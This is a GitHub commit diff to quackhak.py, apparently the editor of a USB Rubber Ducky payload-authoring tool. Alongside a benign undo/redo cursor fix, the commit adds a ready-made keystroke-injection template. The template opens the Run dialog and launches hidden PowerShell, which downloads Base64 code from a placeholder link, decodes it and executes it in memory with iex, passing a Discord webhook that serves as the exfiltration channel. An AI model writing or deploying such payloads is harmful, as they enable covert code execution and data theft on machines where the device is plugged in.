Skip to content

Commit 66fc294

Browse files
authored
Update quackhak.py
1 parent fc20a22 commit 66fc294

File tree

1 file changed

+20
-5
lines changed

1 file changed

+20
-5
lines changed

QuackHak Studio/quackhak.py

Lines changed: 20 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -256,7 +256,8 @@ def refreshTemplates(self):
256256
("New", self.loadFreshCode),
257257
("Basic", self.loadBasicCode),
258258
("Base64", self.loadBase64Code),
259-
("Memory Execution", self.loadMemoryExecutionCode)
259+
("Memory Execution", self.loadMemoryExecutionCode),
260+
("Memory Execution (Function)", self.loadMemoryExecutionCodeANOTHA)
260261
]
261262
for name, callback in new_actions:
262263
self.new_menu.addAction(QAction(name, self, triggered=callback))
@@ -277,31 +278,33 @@ def undoAction(self):
277278
if not self.history:
278279
return
279280

281+
cursor = self.text_edit.textCursor()
282+
current_position = cursor.position()
283+
280284
self.redo_stack.append((self.text_edit.toHtml()))
281285
prev_state = self.history.pop()
282286

283287
self.text_edit.textChanged.disconnect(self.colorizeText)
284288
self.text_edit.setHtml(prev_state)
285289
self.text_edit.textChanged.connect(self.colorizeText)
286290

287-
cursor = self.text_edit.textCursor()
288-
current_position = min(cursor.position(), len(prev_state))
289291
cursor.setPosition(current_position)
290292
self.text_edit.setTextCursor(cursor)
291293

292294
def redoAction(self):
293295
if not self.redo_stack:
294296
return
295297

298+
cursor = self.text_edit.textCursor()
299+
current_position = cursor.position()
300+
296301
self.history.append((self.text_edit.toHtml()))
297302
next_state = self.redo_stack.pop()
298303

299304
self.text_edit.textChanged.disconnect(self.colorizeText)
300305
self.text_edit.setHtml(next_state)
301306
self.text_edit.textChanged.connect(self.colorizeText)
302307

303-
cursor = self.text_edit.textCursor()
304-
current_position = min(cursor.position(), len(next_state))
305308
cursor.setPosition(current_position)
306309
self.text_edit.setTextCursor(cursor)
307310

@@ -653,6 +656,18 @@ def loadBase64Code(self):
653656
self.text_edit.setPlainText(base64_code)
654657
self.colorizeText()
655658

659+
def loadMemoryExecutionCodeANOTHA(self):
660+
memory_execution_codeANOTHA = """REM The script must interface with a Base64-encoded LINK for proper functionality.
661+
DELAY 2000
662+
GUI r
663+
DELAY 1000
664+
STRING powershell -NoP -W H iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((iwr LINK).Content)));FUNCTION -wh DISCORD WEBHOOK
665+
DELAY 1000
666+
ENTER"""
667+
self.text_edit.setPlainText(memory_execution_codeANOTHA)
668+
self.colorizeText()
669+
670+
656671
def main():
657672
app = QApplication(sys.argv)
658673
app.setStyleSheet(dark_stylesheet)

0 commit comments

Comments
 (0)